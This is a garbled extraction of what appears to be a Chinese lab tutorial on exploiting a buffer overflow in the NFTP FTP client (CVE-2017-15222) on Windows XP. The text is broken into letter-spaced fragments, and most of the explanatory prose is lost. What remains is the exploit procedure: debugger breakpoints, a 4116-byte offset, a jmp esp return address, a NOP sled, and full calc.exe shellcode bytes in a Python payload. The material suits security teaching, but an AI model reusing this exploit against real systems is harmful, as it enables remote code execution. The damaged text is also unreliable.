[19218] 2018-01-19_【动手实验】NFTP缓冲区溢出漏洞

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最后更新:2025-01-18
2018-01-19_【动手实验】NFTP缓冲区溢出漏洞 N F T P i   2 0 1 8 - 0 1 - 1 9 广 广 5 0 % 1 9 8 8 f i n g e r d s h e l l N F T P ( C V E - 2 0 1 7 - 1 5 2 2 2 ) ~ w i n d o w s   x p O l l y D b g O L L Y D B G I D A S o f t I C E R i n g   3 S o f t I C E I D A   p r o I n t e r a c t i v e   D i s a s s e m b l e r   P r o f e s s i o n a l I D A   P r o I D A 0 d a y S h e l l C o d e p o c 1 c m d c d   c : T o o l s c T o o l s p y t h o n   p o c . p y p o c
N F T P 使 s h i f t + L i p 1 7 2 . 1 6 . 1 1 . 2 N F T P N F T P 2 C T o o l s p o c
p o c b u f f 5 0 0 0 N F T P b u f f 4 1 4 1 4 1 4 1 p o c b u f f r e c v 使 I D A   p r o N F T P C : T o o l s N F T P n f t p c . e x e I m p o r t s r e c v r e c v r e c v r e c v x r e c v 0 x 4 0 A D 1 4 + 0 x 1 1 F 0 x 4 1 0 6 7 4 + 0 x 2 7 5 0 x 4 1 3 C E 0 + 0 x F 4 使 O D O l l y D b g N F T P O D c o m m a n d b p   0 x 4 0 a e 3 3 b p   0 x 4 1 0 8 e 9 b p   0 x 4 1 3 d d 4
F 9 c m d p o c N F T P 使 s h i f t + L i p 1 7 2 . 1 6 . 1 1 . 2 O D 0 x 0 0 4 0 A E 3 3 r e c v F 9 使 F 2 F 9 r e c v 0 x 4 0 A E 3 3 I D A   p r o 使 G 0 x 4 0 A E 3 3 使 I D A F 5 使 V i e w - > O p e n   s u b v i e w s - > G e n e r a t e   p s e u d o c o d e r e c v s t r c p y
s t r c p y O D 使 a l t + B 使 a l t + c c o m m a n d b p   0 x 4 0 A F F 1 s t r c p y F 9 c m d p o c N F T P i p 使 s t r c p y O D 2 2 0   W e l c o m e ! p o c 0 x 0 2 4 7 4 2 B 0 F 9 3 3 1   O K . 0 x 0 2 4 7 4 2 B 0
F 9 2 3 0   O K . F 9 A A A A A A A A A . . . . p o c F 9 A A A A A A A A A . . . . p o c
O D - > - > 0 x 0 2 4 7 4 2 B 0 F 9 s t r c p y p a y l o a d p o c b u f f b u f f p a t t e r n . p y C T o o l s c m d T o o l s p y t h o n   p a t t e r n . p y   c r e a t e   5 0 0 0   >   b u f f . t x t T o o l s b u f f . t x t
使 c t r l + A p o c b u f f c m d p o c N F T P i p 使 o f f s e t 4 6 3 2 6 8 4 6 c m d p y t h o n   p a t t e r n . p y   o f f s e t   4 6 3 2 6 8 4 6
4 1 1 6 p o c b u f f b u f f   =   " A "   *   4 1 1 6   +   " B B B B " p o c 使 4 2 4 2 4 2 4 2 B B B B A S C I I b u f f B B B B c a l c . e x e s h e l l c o d e ( " x d a x c 5 x b e x d a x c 6 x 9 a x b 6 x d 9 x 7 4 x 2 4 x f 4 x 5 d x 2 b x c 9 x b 1 " " x 3 3 x 8 3 x c 5 x 0 4 x 3 1 x 7 5 x 1 3 x 0 3 x a f x d 5 x 7 8 x 4 3 x b 3 x 3 2 x f 5 " " x a c x 4 b x c 3 x 6 6 x 2 4 x a e x f 2 x b 4 x 5 2 x b b x a 7 x 0 8 x 1 0 x e 9 x 4 b " " x e 2 x 7 4 x 1 9 x d f x 8 6 x 5 0 x 2 e x 6 8 x 2 c x 8 7 x 0 1 x 6 9 x 8 0 x 0 7 x c d " " x a 9 x 8 2 x f b x 0 f x f e x 6 4 x c 5 x c 0 x f 3 x 6 5 x 0 2 x 3 c x f b x 3 4 x d b " " x 4 b x a e x a 8 x 6 8 x 0 9 x 7 3 x c 8 x b e x 0 6 x c b x b 2 x b b x d 8 x b 8 x 0 8 " " x c 5 x 0 8 x 1 0 x 0 6 x 8 d x b 0 x 1 a x 4 0 x 2 e x c 1 x c f x 9 2 x 1 2 x 8 8 x 6 4 " " x 6 0 x e 0 x 0 b x a d x b 8 x 0 9 x 3 a x 9 1 x 1 7 x 3 4 x f 3 x 1 c x 6 9 x 7 0 x 3 3 " " x f f x 1 c x 8 a x 4 0 x 8 2 x 2 6 x 4 9 x 3 b x 5 8 x a 2 x 4 c x 9 b x 2 b x 1 4 x b 5 " " x 1 a x f f x c 3 x 3 e x 1 0 x b 4 x 8 0 x 1 9 x 3 4 x 4 b x 4 4 x 1 2 x 4 0 x c 0 x 6 b " " x f 5 x c 1 x 9 2 x 4 f x d 1 x 8 a x 4 1 x f 1 x 4 0 x 7 6 x 2 7 x 0 e x 9 2 x d e x 9 8 " " x a a x d 8 x c c x c d x c d x 8 2 x 9 a x 1 0 x 5 f x b 9 x e 3 x 1 3 x 5 f x c 2 x 4 3 " " x 7 c x 6 e x 4 9 x 0 c x f b x 6 f x 9 8 x 6 9 x f 3 x 2 5 x 8 1 x d b x 9 c x e 3 x 5 3 " " x 5 e x c 1 x 1 3 x 8 e x 9 c x f c x 9 7 x 3 b x 5 c x f b x 8 8 x 4 9 x 5 9 x 4 7 x 0 f " " x a 1 x 1 3 x d 8 x f a x c 5 x 8 0 x d 9 x 2 e x a 6 x 4 7 x 4 a x b 2 x 0 7 x e 2 x e a " " x 5 1 x 5 8 " ) s h e l l c o d e b u f f b u f f   =   " A "   *   4 1 1 6   +   a d d r e s s   +   s h e l l c o d e s h e l l c o d e s h e l l c o d e s h e l l c o d e " " - - - - j m p   e s p " " " " 使 O D N F T P - > - > k e r n e l 3 2 k e r n e l 3 2
- > - > j m p   e s p j m p   e s p 0 x 7 C 8 6 4 6 7 B s h e l l c o d e s h e l l c o d e n o p x 9 0 p o c b u f f j m p _ e s p   =   " x 7 b x 4 6 x 8 6 x 7 c " b u f f   =   " A "   *   4 1 1 6   +   j m p _ e s p   +   " x 9 0 "   *   1 6   +   s h e l l c o d e 使 e x p e x p 使 c m d T o o l s p y t h o n   e x p . p y N F T P i p N F T P 退 c a l c . e x e
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